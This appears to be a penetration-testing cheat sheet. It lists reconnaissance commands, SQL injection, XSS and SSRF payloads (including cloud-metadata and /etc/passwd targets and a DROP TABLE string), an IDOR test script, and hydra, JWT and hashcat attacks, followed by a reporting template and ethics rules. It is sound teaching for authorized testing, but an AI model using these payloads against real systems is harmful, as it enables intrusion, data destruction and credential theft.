Penetration Testing Patterns
Reconnaissance
# Subdomain enumeration
amass enum -d target.com -o subdomains.txt
subfinder -d target.com -o subdomains.txt
# Port scanning
nmap -sV -sC -p- --min-rate 5000 target.com -oN scan.txt
nmap -sU --top-ports 100 target.com # UDP scan
# Directory bruteforce
ffuf -w /usr/share/wordlists/dirb/common.txt -u https://target.com/FUZZ -mc 200,301,302
gobuster dir -u https://target.com -w common.txt -x php,html,js
# Technology fingerprint
whatweb target.com
wappalyzer (browser extension)
OWASP Top 10 Testing
A01 — SQL Injection
# Manual test
' OR 1=1--
' UNION SELECT null,username,password FROM users--
1; DROP TABLE users--
# SQLMap automation
sqlmap -u "https://target.com/api/user?id=1" --batch --level=3
sqlmap -u "https://target.com/login" --data="user=admin&pass=test" --batch --dbs
# Detection in code
grep -rn "f\"SELECT.*{" src/ # f-string SQL (dangerous)
grep -rn "\"SELECT.*%s" src/ # % format SQL (dangerous)
A03 — Cross-Site Scripting (XSS)
// Reflected XSS payloads
<script>alert(1)</script>
<img src=x
javascript:alert(1)
"><svg
// DOM XSS sinks to audit
document.innerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput, 1000);
location.href = userInput;
// Stored XSS check: submit, then retrieve and observe
// Test in: comments, profile fields, search queries, filenames
A01 — Broken Access Control / IDOR
# Testing IDOR
import requests
headers = {"Authorization": "Bearer USER_A_TOKEN"}
# Access own resource
r1 = requests.get("https://api.target.com/invoices/1001", headers=headers)
# Try accessing another user's resource (change ID)
r2 = requests.get("https://api.target.com/invoices/1002", headers=headers)
if r2.status_code == 200:
print("IDOR FOUND: user can access another user's invoice")
# Try privilege escalation
admin_endpoint = requests.get("https://api.target.com/admin/users", headers=headers)
A10 — Server-Side Request Forgery (SSRF)
# SSRF payloads for URL parameters
http://169.254.169.254/latest/meta-data/ # AWS metadata
http://metadata.google.internal/ # GCP metadata
http://localhost:8080/internal-admin
file:///etc/passwd
dict://localhost:6379/info # Redis
# Test with Burp Collaborator or interactsh
python -m interactsh-client
# Then submit: https://target.com/fetch?url=https://YOUR.oastify.com
Burp Suite Workflow
1. Scope: Target > Scope > add target domain
2. Spider: Spider target, review sitemap
3. Active scan: Scanner > New scan > crawl + audit
4. Manual review:
- Intercept requests, fuzz parameters
- Repeater: replay/modify individual requests
- Intruder: brute-force login, enumerate IDs
- Sequencer: test session token randomness
5. Extensions: Auth Analyzer, JWT Editor, Param Miner
Authentication Testing
# Password brute-force (authorized only)
hydra -l admin -P wordlist.txt target.com http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
# JWT attacks
# 1. Decode without verification
jwt.io → check alg, exp, claims
# 2. Algorithm confusion (HS256 with RS256 public key)
python jwt_tool.py TOKEN -X a
# 3. None algorithm
# Change header alg to "none", remove signature
# 4. Weak secret brute-force
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
Reporting Template
## Finding: [Title]
**Severity**: Critical / High / Medium / Low
**CVSS Score**: 9.8 / 7.5 / ...
### Description
What the vulnerability is and why it's dangerous.
### Steps to Reproduce
1. Navigate to https://target.com/endpoint
2. Modify parameter X to Y
3. Observe response contains Z
### Impact
What an attacker can achieve.
### Remediation
Specific fix with code example.
### References
- CWE-89: SQL Injection
- OWASP A03:2021
Scope & Ethics
- Always get written authorization before testing
- Stay within defined scope (no pivoting to third-party systems)
- Do not exfiltrate real user data — stop at proof of vulnerability
- Report findings immediately if critical (RCE, data exposure)
- Use isolated test accounts where possible
Mattakushi432